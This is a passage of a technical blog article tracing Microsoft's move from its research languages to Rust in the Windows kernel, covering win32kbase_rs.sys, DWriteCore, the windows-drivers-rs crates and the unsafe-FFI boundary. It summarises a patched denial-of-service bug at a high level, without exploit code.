&lt;p&gt;Microsoft&apos;s first publicly-named safer-systems-language experiment was not Rust. It was Singularity, the Microsoft Research operating system Galen Hunt and Jim Larus described in &lt;em&gt;ACM SIGOPS Operating Systems Review&lt;/em&gt; in April 2007 [@singularity]. Singularity was built in Sing#, a dialect of C# extended with software-isolated processes, contract-based channels, and manifest-based programs that the OS verified at install time. The idea was the same as Rust&apos;s: prove memory safety at the language level so the runtime cost of process isolation becomes negligible. Singularity worked. It also stayed in the lab.&lt;/p&gt;
&lt;p&gt;A decade later, in 2019, Microsoft Research open-sourced &lt;em&gt;Project Verona&lt;/em&gt; at &lt;code&gt;github.com/microsoft/verona&lt;/code&gt;, a collaboration with Imperial College London and Uppsala University [@verona-github; @verona-msr]. Verona explores &lt;em&gt;concurrent ownership&lt;/em&gt; in regions: where Rust&apos;s borrow checker tracks one owner per object, Verona lets multiple objects share a single region-level ownership lifetime, simplifying some concurrent patterns at the cost of additional runtime structure.Verona&apos;s region-based concurrent ownership lets multiple objects share a single ownership lifetime. The academic publications appear at OOPSLA and PLDI. The repository README is explicit that the project is &quot;not ready to be used outside of research.&quot; Verona remains alive as research. It has not been productised.&lt;/p&gt;
&lt;p&gt;So why did Rust win against two memory-safe languages of Microsoft&apos;s own design?&lt;/p&gt;
&lt;p&gt;The answer is &lt;em&gt;adoption&lt;/em&gt;. Singularity and Verona were technically interesting; the community around them was Microsoft Research. Rust came with crates.io, a stable compiler, a community of working programmers, a foreign-function-interface story, and -- as of January 2020 -- official Microsoft-maintained bindings. Microsoft Research kept its own safe-systems-language line for the questions Rust does not answer, and Microsoft the platform vendor met developers where they already were.&lt;/p&gt;
&lt;p&gt;The pivot to Rust shows up in three threads.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread A -- the user-mode bindings.&lt;/strong&gt; In January 2020, Microsoft published &lt;code&gt;microsoft/windows-rs&lt;/code&gt; on GitHub, a set of idiomatic Rust bindings to the entire Win32, Windows Runtime, and Component Object Model surface generated on the fly from Windows-metadata projections. The README is exact: &quot;the windows and windows-sys crates let you call any Windows API past, present, and future using code generated on the fly directly from the metadata describing the API&quot; [@windows-rs-github]. The crate is strictly user-mode. The kernel bindings come later, in a different repository.The premise paragraph that originally framed this article conflated &lt;code&gt;windows-rs&lt;/code&gt; with the kernel bindings. They are different repositories: &lt;code&gt;microsoft/windows-rs&lt;/code&gt; is user-mode (Win32, WinRT, COM); &lt;code&gt;microsoft/windows-drivers-rs&lt;/code&gt; is the kernel and driver bindings. We will look at the latter in section 4.3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread B -- the institutional commitment.&lt;/strong&gt; On 8 February 2021, Microsoft joined the Rust Foundation as a founding (Platinum) member, and announced it was forming an in-house Rust team to contribute compiler and tooling work [@msft-rust-foundation]. The same year, Microsoft began funding Ralf Jung&apos;s verification line at the Max Planck Institute for Software Systems -- the MIRI interpreter, the RustBelt proofs -- both of which give the formal teeth that distinguish &quot;Rust is safer&quot; from &quot;Rust is provably safe in a specific sense.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread C -- the academic foundation.&lt;/strong&gt; In April 2021, Jung, Jourdan, Krebbers, and Dreyer published &quot;Safe Systems Programming in Rust&quot; in &lt;em&gt;Communications of the ACM&lt;/em&gt; [@cacm-jung-2021]. The paper builds on their RustBelt result at POPL 2018, which constructed the first formal, machine-checked safety proof for a realistic subset of Rust [@rustbelt-popl-2018; @rustbelt-popl-page]. The RustBelt theorem has a property no informal language design has: it is &lt;em&gt;extensible&lt;/em&gt;. The project page states the result precisely: &quot;for each new Rust library that uses unsafe features, we can say what verification condition it must satisfy&quot; [@rustbelt-popl-page]. In plain language: safe Rust is type-sound by construction, and every &lt;code&gt;unsafe&lt;/code&gt; block can be discharged separately by a per-library proof obligation.&lt;/p&gt;
&lt;p&gt;That property -- a discharged proof obligation per &lt;code&gt;unsafe&lt;/code&gt; block -- is the engineering hook that makes Rust-in-kernel tractable. The kernel is full of &lt;code&gt;unsafe&lt;/code&gt;. There is no way around that fact; the kernel &lt;em&gt;is&lt;/em&gt; the trusted base, the layer that touches raw pointers and hardware. But if every &lt;code&gt;unsafe&lt;/code&gt; block has a local, statable proof obligation, then the engineering question shrinks from &quot;is the language safe?&quot; to &quot;is the audit of these specific blocks correct?&quot; That is a question reviewers can answer.&lt;/p&gt;

Singularity / Sing# and Verona are not the only Microsoft-adjacent safer-systems-language threads. The Cyclone project (AT&amp;amp;T / Cornell, mid-2000s) added region-based memory management to C; the Spec# / Code Contracts line (Microsoft Research, late 2000s) attached pre- and post-conditions to .NET methods. All three were technically attractive. None achieved industrial-scale adoption. The lesson Microsoft drew from those efforts -- visible in the windows-rs investment -- is that the surrounding toolchain and community trump language design. Rust came with crates.io and a working community; the Microsoft Research languages did not.
&lt;p&gt;By early 2023 the four ingredients were in place: a user-mode-scale Rust footprint at Microsoft, executive commitment via the Foundation, a verification story with RustBelt-grade formal teeth, and a working &lt;code&gt;windows-rs&lt;/code&gt; for the user-mode call sites. The pieces existed.&lt;/p&gt;
&lt;p&gt;What did it take to put Rust inside the kernel itself?&lt;/p&gt;
&lt;h2&gt;4. Three Generations of Microsoft&apos;s Rust-in-Windows Effort&lt;/h2&gt;
&lt;p&gt;The 2019-to-2026 story falls naturally into three generations. Each one solves the problem the previous one identified.&lt;/p&gt;

flowchart TD
  subgraph G1[&quot;Generation 1 -- 2019 to early 2023: Prerequisites&quot;]
    A1[&quot;Miller BlueHat IL 2019&lt;br /&gt;(70 percent figure)&quot;]
    A2[&quot;MSRC safer-systems essay&lt;br /&gt;(July 2019)&quot;]
    A3[&quot;windows-rs&lt;br /&gt;(January 2020)&quot;]
    A4[&quot;Rust Foundation founding&lt;br /&gt;(February 2021)&quot;]
    A5[&quot;Secure Future Initiative&lt;br /&gt;(November 2023)&quot;]
  end
  subgraph G2[&quot;Generation 2 -- March to July 2023: First ship&quot;]
    B1[&quot;Weston BlueHat IL 2023&lt;br /&gt;(March 29 to 30)&quot;]
    B2[&quot;DWriteCore in user-mode Rust&lt;br /&gt;(152K LOC)&quot;]
    B3[&quot;win32kbase_rs.sys in kernel Rust&lt;br /&gt;(36K LOC, behind flag)&quot;]
    B4[&quot;Insider Build 25905&lt;br /&gt;(July 12, 2023)&quot;]
  end
  subgraph G3[&quot;Generation 3 -- 2024 to 2026: Expansion and toolchain&quot;]
    C1[&quot;windows-drivers-rs public&lt;br /&gt;(2024)&quot;]
    C2[&quot;EMF parser in win32kbase_rs&lt;br /&gt;(by May 2025)&quot;]
    C3[&quot;Surface Rust drivers ship&lt;br /&gt;(July 2025)&quot;]
    C4[&quot;Russinovich RustConf 2025&lt;br /&gt;(September 2 to 5, Seattle)&quot;]
    C5[&quot;cargo-wdk on crates.io&lt;br /&gt;(November 2025)&quot;]
  end
  G1 --&amp;gt; G2
  G2 --&amp;gt; G3
&lt;h3&gt;4.1 Generation 1 (2019 to early 2023): the prerequisites&lt;/h3&gt;
&lt;p&gt;Generation 1 was &lt;em&gt;preparation&lt;/em&gt;. Four things had to land before Rust could ship in the kernel itself: Microsoft running Rust at user-mode scale internally; a working &lt;code&gt;no_std&lt;/code&gt; kernel target (the Rust compilation profile that strips the standard library&apos;s OS-services assumptions so a binary can run in kernel context); a verification story credible enough for executive sign-off; and that sign-off itself.&lt;/p&gt;
&lt;p&gt;The chronology is clean. January 2020: &lt;code&gt;windows-rs&lt;/code&gt; ships [@windows-rs-github]. February 2021: Microsoft joins the Rust Foundation as a founding member [@msft-rust-foundation]. 2019 through 2022: Project Verona and Singularity supply the academic foundations and the in-house safer-systems-language credibility [@verona-github; @singularity]. April 2021: the Jung et al. &lt;em&gt;Safe Systems Programming in Rust&lt;/em&gt; paper in &lt;em&gt;CACM&lt;/em&gt; gives the public-facing formal warrant [@cacm-jung-2021]. November 2, 2023: Brad Smith and Charlie Bell launch the Secure Future Initiative (SFI), a company-wide commitment that explicitly names memory-safety-language adoption as a software-engineering pillar [@sfi-onissues; @sfi-secblog]. The March 6, 2024 update on SFI confirms the engineering follow-through after the Storm-0558 and Midnight Blizzard incidents [@sfi-march24].&lt;/p&gt;
&lt;p&gt;The limitation of Generation 1 is in the name. &lt;em&gt;Prerequisites.&lt;/em&gt; No Rust had shipped &lt;em&gt;in&lt;/em&gt; the Windows kernel yet. DWriteCore was in user mode. windows-rs was in user mode. Verona was research. The next generation had to fire the actual gun.&lt;/p&gt;
&lt;h3&gt;4.2 Generation 2 (March to July 2023): the first ship&lt;/h3&gt;
&lt;p&gt;On 29 and 30 March 2023 in Tel Aviv, David &quot;dwizzle&quot; Weston, then Vice President of Enterprise and OS Security at Microsoft, took the BlueHat IL stage and announced two distinct Rust ports.BlueHat IL 2023 was held in Tel Aviv on 29 to 30 March 2023; the dominant English-language press coverage broke same-day on 27 April 2023 when an embargo lifted. The article uses 27 April 2023 throughout when the date in question is the public record rather than the talk itself. The Register&apos;s same-day write-up has the canonical quote set and used Weston&apos;s earlier &quot;Director&quot; title [@register-2023-04-27]. The article keeps the two ports strictly separate because conflating them is the most common error in the secondary coverage.&lt;/p&gt;
&lt;p&gt;The first port was &lt;em&gt;DWriteCore&lt;/em&gt;, the text-rendering and shaping engine that ships through the Windows App SDK. The Register&apos;s same-day coverage carried the line-of-code and performance numbers from Weston&apos;s deck -- we return to the exact counts in §6.2 -- but the load-bearing point at BlueHat IL 2023 was that DWriteCore is strictly user-mode code, not in the kernel [@register-2023-04-27].&lt;/p&gt;
&lt;p&gt;The second port was the one that the article you are reading is mostly about: &lt;strong&gt;&lt;code&gt;win32kbase_rs.sys&lt;/code&gt;&lt;/strong&gt;, a kernel binary containing the Win32k GDI region and shape engine -- about 36,000 lines of Rust, behind a feature flag, with at least one syscall in the Windows kernel implemented in Rust [@register-2023-04-27]. Weston&apos;s verbatim line is the moment that mattered.&lt;/p&gt;

There&apos;s actually a SysCall in the Windows kernel now that is implemented in Rust. -- David Weston, BlueHat IL 2023 [@register-2023-04-27].
&lt;p&gt;The first reader-verifiable artefact of that ship came on 12 July 2023. Windows 11 Canary-channel Insider Preview Build 25905 dropped, and the Windows Insider blog called out the change: &quot;Rust in the Windows Kernel ... win32kbase_rs.sys contains a new implementation of GDI region&quot; [@insider-25905]. From that moment forward, any reader with a recent Windows 11 Insider build could open Explorer at &lt;code&gt;C:\Windows\System32&lt;/code&gt;, sort by name, and find &lt;code&gt;win32kbase_rs.sys&lt;/code&gt; on disk. Generation 2 was a proof of existence. The binary was real. The syscall path it implemented was real. Some pieces ran behind a feature flag, but the cement had set.&lt;/p&gt;
&lt;p&gt;The limitation of Generation 2 was that the toolchain was Microsoft-internal. External driver authors could not reproduce the build pipeline; the &lt;code&gt;no_std&lt;/code&gt; kernel target had not been upstreamed to &lt;code&gt;rust-lang/rust&lt;/code&gt;; the allocator shim that adapted &lt;code&gt;GlobalAlloc&lt;/code&gt; onto &lt;code&gt;ExAllocatePool2&lt;/code&gt; lived in a private repository. Generation 3 had to address the third-party adoption question.&lt;/p&gt;
&lt;h3&gt;4.3 Generation 3 (2024 to mid-2026): expansion and toolchain rollout&lt;/h3&gt;
&lt;p&gt;Generation 3 has four threads running in parallel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread 1: the public driver-development crate suite.&lt;/strong&gt; Microsoft published &lt;code&gt;microsoft/windows-drivers-rs&lt;/code&gt; -- the public repository of Rust crates for Windows driver development [@windows-drivers-rs; @heise-rust]. The repository contains six crates (&lt;code&gt;wdk&lt;/code&gt;, &lt;code&gt;wdk-sys&lt;/code&gt;, &lt;code&gt;wdk-alloc&lt;/code&gt;, &lt;code&gt;wdk-build&lt;/code&gt;, &lt;code&gt;wdk-panic&lt;/code&gt;, &lt;code&gt;wdk-macros&lt;/code&gt;) plus the &lt;code&gt;cargo-wdk&lt;/code&gt; Cargo subcommand that wraps &lt;code&gt;link.exe&lt;/code&gt;, &lt;code&gt;inf2cat&lt;/code&gt;, &lt;code&gt;signtool&lt;/code&gt;, and friends into a coherent Rust build. A companion sample repository &lt;code&gt;microsoft/Windows-rust-driver-samples&lt;/code&gt; provides Rust ports of the canonical Windows Driver Samples [@windows-rust-samples]. The README of &lt;code&gt;windows-drivers-rs&lt;/code&gt; is candid: the project is &quot;still in early stages of development and is not yet recommended for production use&quot; [@windows-drivers-rs]. It also pins LLVM 17 explicitly, because LLVM 18 introduced an ARM64 bindgen bug that breaks WDK header binding generation [@windows-drivers-rs].The &lt;code&gt;windows-drivers-rs&lt;/code&gt; README specifically pins LLVM 17 because LLVM 18 has a bug that causes bindings to fail to generate for ARM64. The fix is expected in LLVM 19. This is the kind of detail that distinguishes a developer-preview toolchain from a production one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread 2: the 2025 in-kernel Rust expansion.&lt;/strong&gt; Between the 2023 ship and the May 2025 Check Point disclosure, the Rust footprint inside &lt;code&gt;win32kbase_rs.sys&lt;/code&gt; grew. The growth surface that became publicly known is the Enhanced Metafile Format (EMF / EMF+) parsing path -- the code that converts a path of Bezier curves into a clipping region [@checkpoint-dof; @cybersecuritynews]. The Check Point disclosure documents &lt;code&gt;region_from_path_mut()&lt;/code&gt; as Rust; the KB5058499 patch hardened the call site upstream of the Rust panic [@kb5058499; @esecurityplanet].The original article-focus paragraph speculated that the 2025 in-kernel expansion was the Win32k DirectDraw stack. No first-party Microsoft material identifies a DirectDraw Rust port. The publicly documented 2025 expansion is in the EMF / EMF+ metafile parser inside &lt;code&gt;win32kbase_rs.sys&lt;/code&gt;. We follow the public record.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread 3: the first in-box Rust drivers.&lt;/strong&gt; In July 2025, Microsoft&apos;s Surface team confirmed that several new Copilot+ Surface PCs ship with drivers written in Rust [@winbuzzer-surface; @thurrott-rust]. Microsoft&apos;s Melvin Wang wrote on the Windows Driver Development blog that &quot;the Surface team has contributed further to the open-source &lt;code&gt;windows-drivers-rs&lt;/code&gt; repository for driver development and shipped Surface drivers written in Rust&quot; [@thurrott-rust]. By September 2025, &lt;em&gt;The Register&lt;/em&gt; reported that no production third-party Rust driver had yet shipped through Windows Hardware Compatibility Program (WHCP) certification: CodeQL supports Rust in public preview at version 2.22.1, but only version 2.21.4 is &quot;validated for use with WHCP&quot; [@register-2025-09-04]. The certification path is being assembled in public.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thread 4: the executive narrative.&lt;/strong&gt; On 2 to 5 September 2025, Mark Russinovich -- Azure CTO, Deputy CISO, and Technical Fellow -- delivered the RustConf 2025 keynote in Seattle, titled &quot;From Blue Screens to Orange Crabs: Microsoft&apos;s Rusty Revolution&quot; [@rustconf-2025-prog; @newstack-russinovich; @itpro-rust]. The keynote made three claims that matter for this article. First, Rust is &quot;mandated for new Azure components that handle untrusted input.&quot; Second, Microsoft is using Rust across &quot;kernel components, a cryptography library (&lt;code&gt;rustls-symcrypt&lt;/code&gt;), and ancillary components (&lt;code&gt;DirectWrite&lt;/code&gt;)&quot; plus Project Mu firmware, &lt;a href=&quot;https://paragmali.com/blog/pluton-a-tpm-on-silicon-microsoft-can-patch/&quot; rel=&quot;noopener&quot;&gt;Caliptra&lt;/a&gt;, the Azure Integrated HSM, OpenVMM, and Hyperlight [@infoq-russinovich]. Third, the Check Point bug is success, not failure: a Rust panic that crashes the box is operationally better than a memory-corruption primitive that escalates privilege [@newstack-russinovich].The InfoQ piece that covers Russinovich&apos;s named-project list is dated May 2025 and is actually about his Rust Nation UK talk earlier that year, not RustConf 2025. The substantive content overlaps, but the venue is not the same. For RustConf 2025 itself, the primary references are the Rust Foundation program page and The New Stack&apos;s same-week summary [@rustconf-2025-prog; @newstack-russinovich].&lt;/p&gt;
&lt;p&gt;One more thread to acknowledge: on 24 December 2025, a LinkedIn post by Microsoft distinguished engineer Galen Hunt triggered a press cycle around an internal &quot;1 engineer, 1 month, 1 million lines of code&quot; research target [@register-2025-12-24]. The picture was corrected within days by Hunt&apos;s own clarification and Frank X. Shaw&apos;s denial that Microsoft has any plan to rewrite Windows 11 using AI [@infoworld-not-rewriting; @windowslatest-galen]. The §9 Aside walks the story in full.&lt;/p&gt;
&lt;p&gt;Three generations in, the toolchain is public, the binaries ship, the executive commitment is on the record, the certification path is being assembled, and the press has been corrected twice on the difference between research and roadmap. The pieces are in place. What is the &lt;em&gt;insight&lt;/em&gt; that makes Rust-in-kernel tractable as an engineering policy?&lt;/p&gt;
&lt;h2&gt;5. Memory-Safe by Default for New Code + the Unsafe-FFI Boundary&lt;/h2&gt;
&lt;p&gt;The structural insight that emerged from Generations 2 and 3 is one Russinovich named explicitly at RustConf 2025: Rust adoption inside an existing C / C++ kernel of roughly thirty million lines -- a widely-cited engineering estimate; Microsoft has not published an exact figure -- is a &lt;em&gt;policy decision&lt;/em&gt;, not a rewrite project [@newstack-russinovich]. The policy has two clauses. For &lt;em&gt;new&lt;/em&gt; code, default to Rust. For existing code, rewrite the high-blast-radius surfaces -- the GDI region engine, the EMF parser -- but not the rest. Russinovich&apos;s framing at the keynote: Rust is &quot;mandated for new Azure components that handle untrusted input&quot; [@infoq-russinovich].&lt;/p&gt;
&lt;p&gt;The new-code policy is empirically validated. The Android security team&apos;s September 2024 publication tracks the share of memory-safety vulnerabilities in Android over five years [@google-android-2024]. The headline curve looks like this.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Memory-safety share of vulnerabilities&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;~76%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;~24%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The drop did not come from rewriting existing C and C++. It came from writing &lt;em&gt;new&lt;/em&gt; code in Rust while letting the older code stop being modified. Vulnerabilities in any specific code module decay exponentially as that module stops changing, because (a) bugs that were going to be discovered get patched, and (b) new bugs are introduced primarily by new code [@google-android-2024]. Stop adding C, and the long-run share of memory-safety CVEs falls without anybody rewriting anything. That is the empirical anchor for the &quot;memory-safe by default for new code&quot; policy.&lt;/p&gt;
&lt;p&gt;The policy alone is not enough. The &lt;em&gt;mechanism&lt;/em&gt; that makes it executable is the unsafe-FFI boundary: a narrow, typed, auditable seam where safe Rust meets the C kernel it has to talk to.&lt;/p&gt;

A Rust crate attribute (`#![no_std]`) that opts out of linking the Rust standard library. The crate keeps `core` (and optionally `alloc`), and gets nothing else for free. Required for kernel binaries because the standard library assumes OS services -- file descriptors, threads, dynamic memory through libc -- that the kernel itself is in the business of providing.

The Rust standard-library trait that defines the global memory allocator. In kernel Rust, the trait is implemented by `wdk-alloc` to call `ExAllocatePool2` (allocate) and `ExFreePoolWithTag` (free) -- the NT pool allocator entry points that drivers have used since the late 1990s.

The mechanism a programming language uses to call functions written in another language across an Application Binary Interface (ABI). In kernel Rust, FFI to C kernel headers is generated mechanically by `bindgen` from WDK headers; every call site that crosses the boundary is wrapped in `unsafe`.

A region of Rust code where the compiler relaxes its safety invariants and the programmer accepts responsibility for upholding them. Inside `unsafe`, raw pointers may be dereferenced, mutable static state may be touched, and FFI calls may be made. The safety guarantee of any Rust system is exactly as strong as the human audit of these blocks.
&lt;p&gt;Every Rust kernel module has three &lt;code&gt;unsafe&lt;/code&gt; layers, and the audit of those three layers &lt;em&gt;is&lt;/em&gt; the safety story.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1: the allocator shim.&lt;/strong&gt; The kernel has no malloc. It has &lt;code&gt;ExAllocatePool2&lt;/code&gt;, which takes a pool type, a size, and a four-character tag, and returns memory from one of the NT pool managers. Rust&apos;s &lt;code&gt;Box&amp;lt;T&amp;gt;&lt;/code&gt;, &lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;/code&gt;, &lt;code&gt;String&lt;/code&gt;, and &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;/code&gt; all expect a &lt;code&gt;GlobalAlloc&lt;/code&gt; implementation underneath. &lt;code&gt;wdk-alloc&lt;/code&gt; is the bridge: it implements &lt;code&gt;GlobalAlloc&lt;/code&gt; over &lt;code&gt;ExAllocatePool2&lt;/code&gt; / &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;, with &lt;code&gt;unsafe&lt;/code&gt; blocks at every FFI call [@windows-drivers-rs]. If the allocator shim is wrong -- if it forgets to zero memory, mismatches a tag, or returns a misaligned pointer -- every safe Rust collection above it is suddenly &lt;em&gt;not&lt;/em&gt; safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 2: the FFI surface.&lt;/strong&gt; Bindgen generates &lt;code&gt;extern &quot;system&quot;&lt;/code&gt; declarations from the WDK headers, turning each C function signature into a Rust prototype with &lt;code&gt;unsafe&lt;/code&gt; semantics [@windows-drivers-rs]. Every cross-language call is an &lt;code&gt;unsafe&lt;/code&gt; block in the Rust caller. The audit obligation here is: did bindgen translate the C signature faithfully? Is the calling convention right? Are pointer ownership and lifetime invariants in the C function&apos;s documentation actually upheld in the Rust caller? Bindgen is mechanical; the audit is not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 3: the pointer-arithmetic wrappers.&lt;/strong&gt; Where Rust must observe raw C structs -- &lt;code&gt;IRP&lt;/code&gt;, &lt;code&gt;KAPC&lt;/code&gt;, &lt;code&gt;FAST_IO_DISPATCH&lt;/code&gt;, and the various &lt;code&gt;Win32k&lt;/code&gt;-internal layouts -- the boundary code wraps each struct in a typed Rust newtype that asserts the invariants the C code expects, before any non-&lt;code&gt;unsafe&lt;/code&gt; Rust code touches it. A common pattern is the &lt;code&gt;RegionImpl&amp;lt;&apos;a&amp;gt;&lt;/code&gt; family of wrappers: a Rust struct that holds a raw pointer plus a lifetime parameter, with all public methods written in safe Rust and a small number of private &lt;code&gt;unsafe&lt;/code&gt; methods that do the actual dereferencing.&lt;/p&gt;

flowchart TD
  subgraph Safe[&quot;Safe Rust&quot;]
    SR[&quot;Rust kernel module&lt;br /&gt;(safe code, ~90% of LOC)&quot;]
  end
  subgraph Unsafe[&quot;Three unsafe layers&quot;]
    U1[&quot;Allocator shim&lt;br /&gt;wdk-alloc on ExAllocatePool2&quot;]
    U2[&quot;FFI surface&lt;br /&gt;bindgen extern system decls&quot;]
    U3[&quot;Pointer-arithmetic wrappers&lt;br /&gt;IRP, KAPC, FAST_IO_DISPATCH&quot;]
  end
  subgraph C[&quot;C kernel&quot;]
    NT[&quot;ntoskrnl, win32k, hal&quot;]
  end
  SR --&amp;gt; U1
  SR --&amp;gt; U2
  SR --&amp;gt; U3
  U1 --&amp;gt; NT
  U2 --&amp;gt; NT
  U3 --&amp;gt; NT
&lt;p&gt;The picture is small. A typical Rust kernel module has a few hundred FFI call sites, all typed, all auditable, with the conventional Rust community discipline that every &lt;code&gt;unsafe&lt;/code&gt; block carries a &lt;code&gt;SAFETY:&lt;/code&gt; comment justifying the invariants the human author claims to uphold.The Rust community convention is that every &lt;code&gt;unsafe&lt;/code&gt; block carries a &lt;code&gt;SAFETY:&lt;/code&gt; comment justifying the invariants the human author guarantees. Microsoft&apos;s internal review guidance reinforces this for kernel code, and the &lt;code&gt;windows-drivers-rs&lt;/code&gt; samples follow the pattern consistently. The safety guarantee of the whole module is exactly as strong as the audit of those few hundred sites. Not magic. Not a free lunch. A finite, reviewable boundary.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;windows-drivers-rs&lt;/code&gt; README acknowledges this without euphemism. Microsoft&apos;s Nate Deisinger captured the position in the November 2025 Windows Driver Development blog post:&lt;/p&gt;

Drivers using these crates still need to make use of unsafe blocks for interacting with the Windows operating system, removing some of the benefits of Rust. -- Nate Deisinger, *Towards Rust in Windows Drivers* [@techcommunity-rust-drivers].
&lt;p&gt;That is the load-bearing acknowledgement. Rust does not magically make the C kernel disappear. It pushes the audit frontier &lt;em&gt;to a narrow, typed, fuzz-able boundary&lt;/em&gt;. The wins compound there: type checking catches whole bug families before they ever reach review, fuzzing concentrates on a few hundred sites rather than a million, and the rest of the Rust code -- the other 90% -- gets the full benefit of the safety guarantee with no per-call-site audit burden.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Rust in the Windows kernel is not magic. It is a finite, typed, fuzzable, reviewable boundary between safe Rust and &lt;code&gt;unsafe&lt;/code&gt; C interop. The safety guarantee of any module is exactly as strong as the audit of that boundary -- which is exactly what makes it engineering policy rather than a wishful slogan.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the strategy in the abstract. What does it actually look like on disk in Windows 11 24H2 in May 2026?&lt;/p&gt;
&lt;h2&gt;6. What Actually Ships in Windows 11 24H2 in 2026&lt;/h2&gt;
&lt;p&gt;This section is an inventory of artefacts you can verify yourself: files on disk, GitHub repositories, KB articles, conference keynotes. Six subsections, each with receipts.&lt;/p&gt;
&lt;h3&gt;6.1 &lt;code&gt;win32kbase_rs.sys&lt;/code&gt; -- the in-kernel GDI region and shape engine&lt;/h3&gt;
&lt;p&gt;File location: &lt;code&gt;%SystemRoot%\System32\win32kbase_rs.sys&lt;/code&gt;. Reader-verifiable on any Windows 11 24H2 install. This is the binary the article opened on.&lt;/p&gt;
&lt;p&gt;Original scope at the April 2023 announcement: the Win32k GDI region and shape engine, about 36,000 lines of Rust, behind a feature flag, with at least one syscall in the Windows kernel implemented in Rust [@register-2023-04-27]. By July 2023 the binary was visible in Canary Insider Preview Build 25905 with the GDI region implementation called out by name in the Windows Insider blog [@insider-25905].&lt;/p&gt;
&lt;p&gt;The 2025 expansion surface is the Enhanced Metafile Format / EMF+ metafile-parsing path. The Check Point Research disclosure -- whose call flow §1 walks through in prose and the diagram below replays -- documents the bug; KB5058499, dated 28 May 2025, hardens the bounds check upstream and ships as a preview update for OS Build 26100.4202 [@checkpoint-dof; @kb5058499].&lt;/p&gt;

sequenceDiagram
  participant App as Untrusted process
  participant K as Win32k C dispatcher
  participant R as win32kbase_rs.sys (Rust)
  participant Panic as core::panicking
  App-&amp;gt;&amp;gt;K: NtGdiSelectClipPath (malformed EMF+ metafile)
  K-&amp;gt;&amp;gt;R: parse EmfPlusDrawBeziers record
  R-&amp;gt;&amp;gt;R: build path with mismatched point count
  R-&amp;gt;&amp;gt;R: region_from_path_mut() indexes out of bounds
  R-&amp;gt;&amp;gt;Panic: panic_bounds_check (safe Rust detects OOB)
  Panic-&amp;gt;&amp;gt;Panic: panic = abort (no unwinder in no_std)
  Panic--&amp;gt;&amp;gt;K: bugcheck SYSTEM_SERVICE_EXCEPTION
  K--&amp;gt;&amp;gt;App: machine bluescreens (DoS, not RCE)
  Note over R,K: Microsoft fixed in KB5058499 on May 28, 2025
&lt;p&gt;The article does not claim a 2026 line-of-code figure for &lt;code&gt;win32kbase_rs.sys&lt;/code&gt;. The most recent first-party number is the April 2023 ~36,000 figure quoted to The Register; no first-party Microsoft source has published a refresh. Open Problem P1 in section 9 keeps that an honest open question.Earlier drafts of articles like this one have asserted &quot;over 100,000 lines of in-kernel Rust by 2026.&quot; That number is not in the primary record. The empirical claim we can make is that the binary exists, the GDI region engine is in Rust, the EMF parser is partly in Rust, and the binary is observably larger and more functional in 2026 than the 2023 ship -- but the actual line count is unpublished.&lt;/p&gt;
&lt;h3&gt;6.2 DWriteCore -- user-mode Rust in the Windows App SDK&lt;/h3&gt;
&lt;p&gt;DWriteCore is the standalone, distributable text-rendering and OpenType-shaping engine that ships through the Windows App SDK. At the April 2023 BlueHat IL announcement Weston quoted about 152,000 lines of Rust plus about 96,000 lines of C++, with a 5 to 15% performance improvement on selected OpenType shaping paths [@register-2023-04-27]. Russinovich at RustConf 2025 framed the team size and timeline: &quot;Two Microsoft developers did it in six months -- 154,000 lines of code&quot; [@newstack-russinovich]. DWriteCore is &lt;em&gt;strictly user mode&lt;/em&gt;. The distribution channel is Windows App SDK 1.2 and above, not Windows 11 22H2/23H2 system updates. It is the user-mode counterpart to the kernel-mode &lt;code&gt;win32kbase_rs.sys&lt;/code&gt;, not the same thing.&lt;/p&gt;
&lt;h3&gt;6.3 The &lt;code&gt;windows-drivers-rs&lt;/code&gt; crate suite&lt;/h3&gt;
&lt;p&gt;The driver-development face of Microsoft&apos;s Rust effort is &lt;code&gt;microsoft/windows-drivers-rs&lt;/code&gt; [@windows-drivers-rs]. The repository contains six crates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wdk&lt;/code&gt; -- safe wrappers over the Windows Driver Kit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wdk-sys&lt;/code&gt; -- bindgen-generated raw FFI bindings&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wdk-alloc&lt;/code&gt; -- the &lt;code&gt;GlobalAlloc&lt;/code&gt; shim onto &lt;code&gt;ExAllocatePool2&lt;/code&gt; / &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wdk-build&lt;/code&gt; -- build script infrastructure for &lt;code&gt;Cargo.toml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wdk-panic&lt;/code&gt; -- the &lt;code&gt;panic_handler&lt;/code&gt; implementation with &lt;code&gt;panic = &quot;abort&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wdk-macros&lt;/code&gt; -- procedural macros (driver entry-point, IOCTL routing, etc.)&lt;/li&gt;
&lt;/ul&gt;
